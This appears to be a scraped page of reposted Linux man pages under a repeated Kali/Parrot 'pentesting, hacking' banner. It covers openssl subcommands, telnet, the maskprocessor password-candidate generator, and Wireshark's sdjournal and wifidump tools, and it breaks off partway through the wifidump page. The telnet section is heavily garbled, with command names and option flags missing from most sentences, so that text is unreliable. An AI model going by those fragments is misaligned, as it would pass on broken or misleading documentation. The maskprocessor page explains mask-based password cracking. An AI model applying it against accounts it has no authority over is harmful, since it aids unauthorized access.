the image -thumbnail geometry create a thumbnail of the image -tile filename tile image when filling a graphic primitive -tint value tint the image with the fill color -transform affine transform image -transparent color make this color transparent within the image -transpose flip image vertically and rotate 90 degrees -transverse flop image horizontally and rotate 270 degrees -trim trim image edges -type type image type -unique-colors discard all but one of any pixel color -unsharp geometry sharpen the image -vignette geometry soften the edges of the image in vignette style -wave geometry alter an image along a sine wave -wavelet-denoise threshold removes noise from the image using a wavelet transform -white-threshold value force all pixels above the threshold into white

Image Sequence Operators: -affinity filename transform image colors to match this set of colors -append append an image sequence top to botto (use +append for left to right) -clut apply a color lookup table to the image -coalesce merge a sequence of images -combine combine a sequence of images -compare mathematically and visually annotate the difference between an image and its reconstruction -complex operator perform complex mathematics on an image sequence -composite composite image -copy geometry offset, copy pixels from one area of an image to another -crop geometry cut out a rectangular region of the image -deconstruct break down an image sequence into constituent parts -evaluate-sequence operator evaluate an arithmetic, relational, or logical expression -flatten flatten a sequence of images -fx expression apply mathematical expression to an image channel(s) -hald-clut apply a Hald color lookup table to the image -morph value morph an image sequence -mosaic create a mosaic from an image sequence -poly terms build a polynomial from the image sequence and the corresponding terms (coefficients and degree pairs) -process arguments process the image with a custom image filter -separate separate an image channel into a grayscale image -smush geometry smush an image sequence together -write filename write images to this file

Image Stack Operators: -delete indexes delete the image from the image sequence -duplicate count,indexes duplicate an image one or more times -insert index insert last image into the image sequence -reverse reverse image sequence -swap indexes swap two images in the image sequence

Miscellaneous Options: -debug events display copious debugging information -distribute-cache port distributed pixel cache spanning one or more servers -help print program options -log format format of debugging information -list type print a list of supported option arguments -version print version information

By default, the image format of `file’ is determined by its magic number. To specify a particular image format, precede the filename with an image format name and a colon (i.e. ps:image) or specify the image type as the filename suffix (i.e. image.ps). Specify ‘file’ as ‘-’ for standard input or output.

SEE ALSO

ImageMagick-im6.q16(1)

COPYRIGHT

Copyright (C) 1999-2021 ImageMagick Studio LLC. Additional copyrights and licenses apply to this software, see file:///usr/share/doc/imagemagick-6-common/html/www/license.html (on debian system you may install the imagemagick-6 package) or https://www.imagemagick.org/script/license.php

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1409 - Linux cli command reqssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command reqssl and provides detailed information about the command reqssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the reqssl.

NAME 🖥️ reqssl 🖥️

OpenSSL application commands

SYNOPSIS

openssl cmd -help | [-option | -option arg] … [arg] …

DESCRIPTION

Every cmd listed above is a (sub-)command of the openssl (1) application. It has its own detailed manual page at **openssl-**cmd(1). For example, to view the manual page for the openssl dgst command, type man openssl-dgst.

OPTIONS

Among others, every subcommand has a help option.

-help
Print out a usage message for the subcommand.

SEE ALSO

openssl (1), openssl-asn1parse (1), openssl-ca (1), openssl-ciphers (1), openssl-cmp (1), openssl-cms (1), openssl-crl (1), openssl-crl2pkcs7 (1), openssl-dgst (1), openssl-dhparam (1), openssl-dsa (1), openssl-dsaparam (1), openssl-ec (1), openssl-ecparam (1), openssl-enc (1), openssl-engine (1), openssl-errstr (1), openssl-gendsa (1), openssl-genpkey (1), openssl-genrsa (1), openssl-info (1), openssl-kdf (1), openssl-mac (1), openssl-nseq (1), openssl-ocsp (1), openssl-passwd (1), openssl-pkcs12 (1), openssl-pkcs7 (1), openssl-pkcs8 (1), openssl-pkey (1), openssl-pkeyparam (1), openssl-pkeyutl (1), openssl-prime (1), openssl-rand (1), openssl-rehash (1), openssl-req (1), openssl-rsa (1), openssl-rsautl (1), openssl-s_client (1), openssl-s_server (1), openssl-s_time (1), openssl-sess_id (1), openssl-smime (1), openssl-speed (1), openssl-spkac (1), openssl-srp (1), openssl-storeutl (1), openssl-ts (1), openssl-verify (1), openssl-version (1), openssl-x509 (1),

HISTORY

Initially, the manual page entry for the openssl cmd command used to be available at cmd(1). Later, the alias **openssl-**cmd(1) was introduced, which made it easier to group the openssl commands using the apropos (1) command or the shell’s tab completion.

In order to reduce cluttering of the global manual page namespace, the manual page entries without the ‘openssl-’ prefix have been deprecated in OpenSSL 3.0 and will be removed in OpenSSL 4.0.

COPYRIGHT

Copyright 2019-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1410 - Linux cli command inetutils-telnet

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command inetutils-telnet and provides detailed information about the command inetutils-telnet, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the inetutils-telnet.

protocol

The

command is used to communicate with another host using the

protocol. If

is invoked without the

argument, it enters command mode, indicated by its prompt

In this mode, it accepts and executes the commands listed below. If it is invoked with arguments, it performs an

command with those arguments.

Use IPv4 to connect to hosts.

Use IPv6 to connect to hosts.

Specifies an 8-bit data path. This causes an attempt to negotiate the

option on both input and output.

Specifies an 8-bit data path on output. This causes the BINARY option to be negotiated on output.

Sets the initial

escape character to

If

is omitted, then there will be no escape character.

Stops any character from being recognized as an escape character.

Attempt automatic login. Currently, this sends the user name via the

variable of the

option if supported by the remote system. The name used is that of the current user as returned by

if it agrees with the current user ID, otherwise it is the name associated with the user ID.

Specifies no automatic login to the remote system.

When connecting to the remote system, if the remote system understands the

option, then

will be sent to the remote system as the value for the variable USER. This option implies the

option. This option may also be used with the

command.

Opens

for recording trace information. See the

command below.

Specifies a user interface similar to

In this mode, the escape character is set to the tilde (~) character, unless modified by the -e option.

Disables the reading of the user’s

file. (See the

command on this man page.)

Sets the initial value of the

toggle to

Turns on encryption of the data stream if possible.

Disables the

type of authentication.

If Kerberos authentication is being used, the

option requests that telnet obtain tickets for the remote host in realm realm instead of the remote host’s realm, as determined by

Indicates the official name, an alias, or the Internet address of a remote host.

Indicates a port number (address of an application). If a number is not specified, the default

port is used.

When in rlogin mode, a line of the form ~. disconnects from the remote host; ~ is the telnet escape character. Similarly, the line ~^Z suspends the telnet session. The line ~^] escapes to the normal telnet escape prompt.

Once a connection has been opened,

will attempt to enable the

option. If this fails, then

will revert to one of two input modes: either character at a time or old line by line depending on what the remote system supports.

When

is enabled, character processing is done on the local system, under the control of the remote system. When input editing or character echoing is to be disabled, the remote system will relay that information. The remote system will also relay changes to any special characters that happen on the remote system, so that they can take effect on the local system.

In character at a time mode, most text typed is immediately sent to the remote host for processing.

In old line by line mode, all text is echoed locally, and (normally) only completed lines are sent to the remote host. The local echo character (initially ^E) may be used to turn off and on the local echo (this would mostly be used to enter passwords without the password being echoed).

If the

option is enabled, or if the

toggle is

(the default for old line by line; see below), the user’s

and

characters are trapped locally, and sent as

protocol sequences to the remote side. If

has ever been enabled, then the user’s

and

are also sent as

protocol sequences, and

is sent as a

instead of

There are options (see

and

below) which cause this action to flush subsequent output to the terminal (until the remote host acknowledges the

sequence) and flush previous terminal input (in the case of

and

While connected to a remote host,

command mode may be entered by typing the

escape character (initially ^]). When in command mode, the normal terminal editing conventions are available.

The following

commands are available. Only enough of each command to uniquely identify it need be typed (this is also true for arguments to the

and

commands).

The auth command manipulates the information sent through the

option. Valid arguments for the auth command are as follows:

Disables the specified type of authentication. To obtain a list of available types, use the

command.

Enables the specified type of authentication. To obtain a list of available types, use the

command.

Lists the current status of the various types of authentication.

Close a

session and return to command mode.

Displays all, or some, of the

and

values (see below).

The encrypt command manipulates the information sent through the

option.

Note: Because of export controls, the

option is not supported outside of the United States and Canada.

Valid arguments for the encrypt command are as follows:

Disables the specified type of encryption. If you omit the input and output, both input and output are disabled. To obtain a list of available types, use the

command.

Enables the specified type of encryption. If you omit input and output, both input and output are enabled. To obtain a list of available types, use the

command.

This is the same as the

command.

This is the same as the

command.

This is the same as the

command.

This is the same as the

command.

Attempts to start encryption. If you omit

and

both input and output are enabled. To obtain a list of available types, use the

command.

Lists the current status of encryption.

Stops encryption. If you omit input and output, encryption is on both input and output.

Sets the default type of encryption to be used with later

or

commands.

The

command is used to manipulate the the variables that my be sent through the

option. The initial set of variables is taken from the users environment, with only the

and

variables being exported by default. The

variable is also exported if the

or

options are used.
Valid arguments for the

command are:

Define the variable

to have a value of

Any variables defined by this command are automatically exported. The

may be enclosed in single or double quotes so that tabs and spaces may be included.

Remove

from the list of environment variables.

Mark the variable

to be exported to the remote side.

Mark the variable

to not be exported unless explicitly asked for by the remote side.

List the current set of environment variables. Those marked with a

will be sent automatically, other variables will only be sent if explicitly requested.

Prints out help information for the

command.

Sends the

option to the remote side. This command is similar to a

command; however, if the remote side does not support the

option, nothing happens. If, however, the remote side does support the

option, this command should cause the remote side to close the

connection. If the remote side also supports the concept of suspending a user’s session for later reattachment, the logout argument indicates that you should terminate the session immediately.

is one of several options, depending on the state of the

session. The remote host is asked for permission to go into the requested mode. If the remote host is capable of entering that mode, the requested mode will be entered.

Disable the

option, or, if the remote side does not understand the

option, then enter character at a time mode.

Enable the

option, or, if the remote side does not understand the

option, then attempt to enter old-line-by-line mode.

Attempt to enable (disable) the

mode of the

option. This requires that the

option be enabled.

Attempt to enable (disable) the

mode of the

option. This requires that the

option be enabled.

Attempt to enable (disable) the

mode of the

option. This requires that the

option be enabled.

Attempt to enable (disable) the

mode of the

option. This requires that the

option be enabled.

Prints out help information for the

command.

Open a connection to the named host. If no port number is specified,

will attempt to contact a

server at the default port. The host specification may be either a host name (see

or an Internet address specified in the dot notation (see

The

option may be used to specify the user name to be passed to the remote system via the

option. When connecting to a non-standard port,

omits any automatic initiation of

options. When the port number is preceded by a minus sign, the initial option negotiation is done. After establishing a connection, the file

in the users home directory is opened. Lines beginning with a # are comment lines. Blank lines are ignored. Lines that begin without white space are the start of a machine entry. The first thing on the line is the name of the machine that is being connected to. The rest of the line, and successive lines that begin with white space are assumed to be

commands and are processed as if they had been typed in manually to the

command prompt.

Close any open

session and exit

An end of file (in command mode) will also close a session and exit.

Sends one or more special character sequences to the remote host. The following are the arguments which may be specified (more than one argument may be specified at a time):

Sends the

(Abort processes) sequence.

Sends the

(Abort Output) sequence, which should cause the remote system to flush all output

the remote system

the user’s terminal.

Sends the

(Are You There) sequence, to which the remote system may or may not choose to respond.

Sends the

(Break) sequence, which may have significance to the remote system.

Sends the

(Erase Character) sequence, which should cause the remote system to erase the last character entered.

Sends the

(Erase Line) sequence, which should cause the remote system to erase the line currently being entered.

Sends the

(End Of File) sequence.

Sends the

(End of Record) sequence.

Sends the current

escape character (initially ^).

Sends the

(Go Ahead) sequence, which likely has no significance to the remote system.

If the remote side supports the

command,

will send the subnegotiation to request that the server send its current option status.

Sends the

(Interrupt Process) sequence, which should cause the remote system to abort the currently running process.

Sends the

(No OPeration) sequence.

Sends the

(SUSPend process) sequence.

Sends the

sequence. This sequence causes the remote system to discard all previously typed (but not yet read) input. This sequence is sent as

urgent data (and may not work if the remote system is a

system – if it doesn’t work, a lower case r may be echoed on the terminal).

Sends the

sequence.

can be either a decimal number between 0 and 255, or a symbolic name for a specific

command.

can also be either

or

to print out help information, including a list of known symbolic names.

Prints out help information for the

command.

The

command will set any one of a number of

variables to a specific value or to

The special value

turns off the function associated with the variable, this is equivalent to using the

command. The

command will disable or set to

any of the specified functions. The values of variables may be interrogated with the

command. The variables which may be set or unset, but not toggled, are listed here. In addition, any of the variables for the

command may be explicitly set or unset using the

and

commands.

If

is in localchars mode, or

is enabled, and the status character is typed, a

sequence (see

preceding) is sent to the remote host. The initial value for the “Are You There” character is the terminal’s status character.

This is the value (initially ^E) which, when in line by line mode, toggles between doing local echoing of entered characters (for normal processing), and suppressing echoing of entered characters (for entering, say, a password).

If

is operating in

or old line by line mode, entering this character as the first character on a line will cause this character to be sent to the remote system. The initial value of the eof character is taken to be the terminal’s

character.

If

is in

mode (see

below),

if

is operating in character at a time mode, then when this character is typed, a

sequence (see

above) is sent to the remote system. The initial value for the erase character is taken to be the terminal’s

character.

This is the

escape character (initially ^[) which causes entry into

command mode (when connected to a remote system).

If

is in

mode (see

below) and the

character is typed, a

sequence (see

above) is sent to the remote host. The initial value for the flush character is taken to be the terminal’s

character.

If

is operating in

these are the characters that, when typed, cause partial lines to be forwarded to the remote system. The initial value for the forwarding characters are taken from the terminal’s eol and eol2 characters.

If

is in

mode (see

below) and the

character is typed, a

sequence (see

above) is sent to the remote host. The initial value for the interrupt character is taken to be the terminal’s

character.

If

is in

mode (see

below),

if

is operating in character at a time mode, then when this character is typed, a

sequence (see

above) is sent to the remote system. The initial value for the kill character is taken to be the terminal’s

character.

If

is operating in

or old line by line mode, then this character is taken to be the terminal’s

character. The initial value for the lnext character is taken to be the terminal’s

character.

If

is in

mode (see

below) and the

character is typed, a

sequence (see

above) is sent to the remote host. The initial value for the quit character is taken to be the terminal’s

character.

If

is operating in

or old line by line mode, then this character is taken to be the terminal’s

character. The initial value for the reprint character is taken to be the terminal’s

character.

This is the rlogin escape character. If set, the normal

escape character is ignored unless it is preceded by this character at the beginning of a line. This character, at the beginning of a line followed by a “.” closes the connection; when followed by a ^Z it suspends the telnet command. The initial state is to disable the rlogin escape character.

If the

option has been enabled, then this character is taken to be the terminal’s

character. The initial value for the kill character is taken to be the terminal’s

character.

If the

option has been enabled, then this character is taken to be the terminal’s

character. The initial value for the kill character is taken to be the terminal’s

character.

If

is in

mode, or

is enabled, and the

character is typed, a

sequence (see

above) is sent to the remote host. The initial value for the suspend character is taken to be the terminal’s

character.

This is the file to which the output, caused by

or

tracing being

will be written. If it is set to

then tracing information will be written to standard output (the default).

If

is operating in

or old line by line mode, then this character is taken to be the terminal’s

character. The initial value for the worderase character is taken to be the terminal’s

character.

Displays the legal

commands.

The

command (Set Local Characters) is used to set or change the state of the the special characters when the

option has been enabled. Special characters are characters that get mapped to

commands sequences (like

or

or line editing characters (like

and

By default, the local special characters are exported.

Verify the current settings for the current special characters. The remote side is requested to send all the current special character settings, and if there are any discrepancies with the local side, the local side will switch to the remote value.

Switch to the local defaults for the special characters. The local default characters are those of the local terminal at the time when

was started.

Switch to the remote defaults for the special characters. The remote default characters are those of the remote system at the time when the

connection was established.

Prints out help information for the

command.

Show the current status of

This includes the peer one is connected to, as well as the current mode.

Toggle (between

and

various flags that control how

responds to events. These flags may be set explicitly to

or

using the

and

commands listed above. More than one argument may be specified. The state of these flags may be interrogated with the

command. Valid arguments are:

Turns on debugging information for the authentication code.

If

and

are both

then when the

or

characters are recognized (and transformed into

sequences; see

above for details),

refuses to display any data on the user’s terminal until the remote system acknowledges (via a

option) that it has processed those

sequences. The initial value for this toggle is

if the terminal user had not done an “stty noflsh”, otherwise

(see

When the

option is negotiated, by default the actual encryption (decryption) of the data stream does not start automatically. The autoencrypt (autodecrypt) command states that encryption of the output (input) stream should be enabled as soon as possible.

Note: Because of export controls, the

option is not supported outside the United States and Canada.

If the remote side supports the

option

attempts to use it to perform automatic authentication. If the

option is not supported, the user’s login name are propagated through the

option. This command is the same as specifying

option on the

command.

If

and

are both

then when either the

or

characters is typed (see

above for descriptions of the

and

characters), the resulting

sequence sent is followed by the

sequence. This procedure

cause the remote system to begin throwing away all previously typed input until both of the

sequences have been read and acted upon. The initial value of this toggle is

Enable or disable the

option on both input and output.

Enable or disable the

option on input.

Enable or disable the

option on output.

If this is

then carriage returns will be sent as

If this is

then carriage returns will be send as

The initial value for this toggle is

Toggle carriage return mode. When this mode is enabled, most carriage return characters received from the remote host will be mapped into a carriage return followed by a line feed. This mode does not affect those characters typed by the user, only those received from the remote host. This mode is not very useful unless the remote host only sends carriage return, but never line feed. The initial value for this toggle is

Toggles socket level debugging (useful only to the

The initial value for this toggle is

Turns on debugging information for the encryption code.

If this is

then the

and

characters (see

above) are recognized locally, and transformed into (hopefully) appropriate

control sequences (respectively

and

see

above). The initial value for this toggle is

in old line by line mode, and

in character at a time mode. When the

option is enabled, the value of

is ignored, and assumed to always be

If

has ever been enabled, then

is sent as

and

are sent as

see

above).

Toggles the display of all network data (in hexadecimal format). The initial value for this toggle is

Toggles the display of some internal

protocol processing (having to do with

options). The initial value for this toggle is

When the

toggle is enabled, if

is enabled the output from the

command will be formatted in a more user readable format. Spaces are put between each character in the output, and the beginning of any

escape sequence is preceded by a ‘*’ to aid in locating them.

When the skiprc toggle is

skips the reading of the

file in the users home directory when connections are opened. The initial value for this toggle is

Toggles the display of all terminal data (in hexadecimal format). The initial value for this toggle is

When the

toggle is

prints out a message each time encryption is enabled or disabled. The initial value for this toggle is

Note: Because of export controls, data encryption is not supported outside of the United States and Canada.

Displays the legal

commands.

Suspend

This command only works when the user is using the

Execute a single command in a subshell on the local system. If

is omitted, then an interactive subshell is invoked.

Get help. With no arguments,

prints a help summary. If a command is specified,

will print the help information for just that command.

uses at least the

and

environment variables. Other environment variables may be propagated to the other side via the

option.

user customized telnet startup values

The

command appeared in

On some remote systems, echo has to be turned off manually when in old line by line mode.

In old line by line mode or

the terminal’s

character is only recognized (and sent to the remote system) when it is the first character on a line.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1411 - Linux cli command mp32

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mp32 and provides detailed information about the command mp32, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mp32.

NAME 🖥️ mp32 🖥️

high-performance word generator with a per-position configurable charset

SYNOPSIS

mp64 [options]… mask

DESCRIPTION

Maskprocessor is a fast word list generator. It enumerates all combinations from a given user-defined keyspace and outputs the results. Since it supports different alphabets (which also can be combined) at different positions in the generation template (‘mask’), this approach allows a more fine-tunable generation of candidates than using ’naive’ brute force enumeration of words. Masks are defined using the description also used in the Hashcat password recovery utility.

High-Performance word generator with a per-position configureable charset

* Startup:

-V, –version
Print version

-h, –help
Print help

* Increment:

-i, –increment=NUM:NUM
Enable increment mode. 1st NUM=start, 2nd NUM=stop Example: -i 4:8 searches lengths 4-8 (inclusive)

* Misc:

–combinations
Calculate number of combinations

–hex-charset
Assume charset is given in hex

-q, –seq-max=NUM
Maximum number of multiple sequential characters

-r, –occurrence-max=NUM
Maximum number of occurrence of a character

* Resources:

-s, –start-at=WORD
Start at specific position

-l, –stop-at=WORD
Stop at specific position

* Files:

-o, –output-file=FILE
Output-file

* Custom charsets:

-1, –custom-charset1=CS
User-defineable charsets

-2, –custom-charset2=CS
Example:

-3, –custom-charset3=CS –custom-charset1=?dabcdef

-4, –custom-charset4=CS
sets charset ?1 to 0123456789abcdef

* Built-in charsets:

?l = abcdefghijklmnopqrstuvwxyz ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ ?d = 0123456789 ?s = !"#$%&’()*+,-./:;<=>?@[^_`{|}~ ?a = ?l?u?d?s ?b = 0x00 - 0xff

MASKS

For each position of the generated password candidates we need to configure a placeholder. If a password we want to crack has the length 8, our mask must consist of 8 placeholders. A mask is a simple string that configures the keyspace of the password candidate engine using placeholders. A placeholder can be either a custom charset variable, a built-in charset variable or a static letter. A variable is indicated by the ? letter followed by one of the built-in charset (l, u, d, s, a) or one of the custom charset variable names (1, 2, 3, 4). A static letter is not indicated by a letter. An exception is if we want the static letter ? itself, which must be written as ??.

BUILTIN CHARSETS

?l = abcdefghijklmnopqrstuvwxyz, ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ, ?d = 0123456789, ?s = (space)!"#$%&’()*+,-./:;<=>?@[]^_`{|}~, ?a = ?l?u?d?s, ?b = 0x00-0xff

CUSTOM CHARSETS

There are four command line parameters to configure four custom charsets: –custom-charset1=CS, –custom-charset2=CS, –custom-charset3=CS, –custom-charset4=CS.

These command line parameters have four analogous shortcuts called -1, -2, -3 and -4. You can specify the chars directly on the command line.

PASSWORD LENGTH INCREMENT

A Mask attack is always specific to a password length. For example, if we use the mask ????l?l?l?l?l?l?l?l??? we can only crack a password of the length 8. But if the password we try to crack has the length 7 we will not find it. That is why we have to repeat the attack several times, each time with one placeholder added to the mask. This is transparently automated by using the ‘–increment’ flag.

?l -> ?l?l -> ?l?l?l -> ?l?l?l?l -> ?l?l?l?l?l -> ?l?l?l?l?l?l -> ?l?l?l?l?l?l?l -> ?l?l?l?l?l?l?l?l

REPORTING BUGS

Please report bugs upstream to the maskprocessor issue tracker on GitHub: https://github.com/hashcat/maskprocessor/issues

COPYRIGHT

This tool is developed and maintained by Jens Steube under the MIT License.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1412 - Linux cli command sdjournal

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sdjournal and provides detailed information about the command sdjournal, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sdjournal.

NAME 🖥️ sdjournal 🖥️

Provide an interface to capture systemd journal entries.

SYNOPSIS

sdjournal–help ] [ –version ] [ –extcap-interfaces ] [ –extcap-dlts ] [ –extcap-interface=<interface> ] [ –extcap-config ] [ –capture ] [ –fifo=<path to file or pipe> ] [ –start-from=<entry count> ]

DESCRIPTION

sdjournal is an extcap tool that allows one to capture systemd journal entries. It can be used to correlate system events with network traffic.

Supported interfaces:

1.

sdjournal

OPTIONS

–help

Print program arguments.

–version

Print program version.

–extcap-interfaces

List available interfaces.

–extcap-interface=<interface>

Use specified interfaces.

–extcap-dlts

List DLTs of specified interface.

–extcap-config

List configuration options of specified interface.

–capture

Start capturing from specified interface and write raw packet data to the location specified by –fifo.

–fifo=<path to file or pipe>

Save captured packet to file or send it through pipe.

–start-from=<entry count>

Start from the last <entry count> entries, similar to the “-n” or “–lines” argument for the tail(1) command. Values prefixed with a + sign start from the beginning of the journal, otherwise the count starts from the end. The default value is 10. To include all entries use +0.

EXAMPLES

To see program arguments:

sdjournal –help

To see program version:

sdjournal –version

To see interfaces:

sdjournal –extcap-interfaces

Only one interface (sdjournal) is supported.

Example output

interface {value=sdjournal}{display=systemd journal capture}

To see interface DLTs:

sdjournal –extcap-interface=sdjournal –extcap-dlts

Example output

dlt {number=147}{name=sdjournal}{display=USER0}

To see interface configuration options:

sdjournal –extcap-interface=sdjournal –extcap-config

Example output

arg {number=0}{call=–start-from}{display=Starting position}{type=string} {tooltip=The journal starting position. Values with a leading “+” start from the beginning, similar to the “tail” command}

To capture:

sdjournal –extcap-interface=sdjournal –fifo=/tmp/sdjournal.pcap –capture

To capture all entries since the system was booted:

sdjournal –extcap-interface=sdjournal –fifo=/tmp/sdjournal.pcap –capture –start-from +0

Note

To stop capturing CTRL+C/kill/terminate the application.

SEE ALSO

wireshark(1), tshark(1), dumpcap(1), extcap(4), tcpdump(1)

NOTES

sdjournal is part of the Wireshark distribution. The latest version of Wireshark can be found at <https://www.wireshark.org>.

HTML versions of the Wireshark project man pages are available at <https://www.wireshark.org/docs/man-pages>.

AUTHORS

Original Author
Gerald Combs <gerald[AT]wireshark.org>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1413 - Linux cli command wifidump

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command wifidump and provides detailed information about the command wifidump, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the wifidump.

NAME 🖥️ wifidump 🖥️

Provides an interface to capture Wi-Fi frames from a remote host through SSH.

SYNOPSIS

wifidump–help ] [ –version ] [ –extcap-interfaces ] [ –extcap-dlts ] [ –extcap-interface=<interface> ] [ –extcap-config ] [ –extcap-capture-filter=<capture filter> ] [ –capture ] [ –fifo=<path to file or pipe> ] [ –remote-host=<IP address> ] [ –remote-port=<TCP port> ] [ –remote-username=<username> ] [ –remote-password=<password> ] [ –sshkey=<public key path> ] [ –remote-interface=<interface> ] [ –remote-channel-frequency=<channel frequency> ] [ –remote-channel-width=<channel width> ]

wifidump –extcap-interfaces

wifidump –extcap-interface=<interface> –extcap-dlts

wifidump –extcap-interface=<interface> –extcap-config

wifidump –extcap-interface=<interface> –fifo=<path to file or pipe> –capture –remote-host=myremotehost –remote-port=22 –remote-username=user –remote-interface=eth2 –remote-channel-frequency=5180 –remote-channel-width=40

DESCRIPTION

Wifidump is an extcap tool that allows you to capture Wi-Fi traffic from a remote host over an SSH connection using tcpdump. The requirement to capture Wi-Fi frames is that the remote host must have the necessary binaries to manage and put the wanted interface into monitor mode. Such binaries include: ip, iw, and iwconfig. Also, because using monitor mode and managing the Wi-Fi interface requires root privileges, the system must be configured to allow the wanted user to run these binaries using sudo without entering a password.

Typically wifidump is not invoked directly. Instead it can be configured through the Wireshark graphical user interface or its command line. The following will start Wireshark and start capturing from host remotehost:

$ wireshark -oextcap.wifidump.remotehost:remotehost -i wifidump -k

To explicitly control the remote capture command:

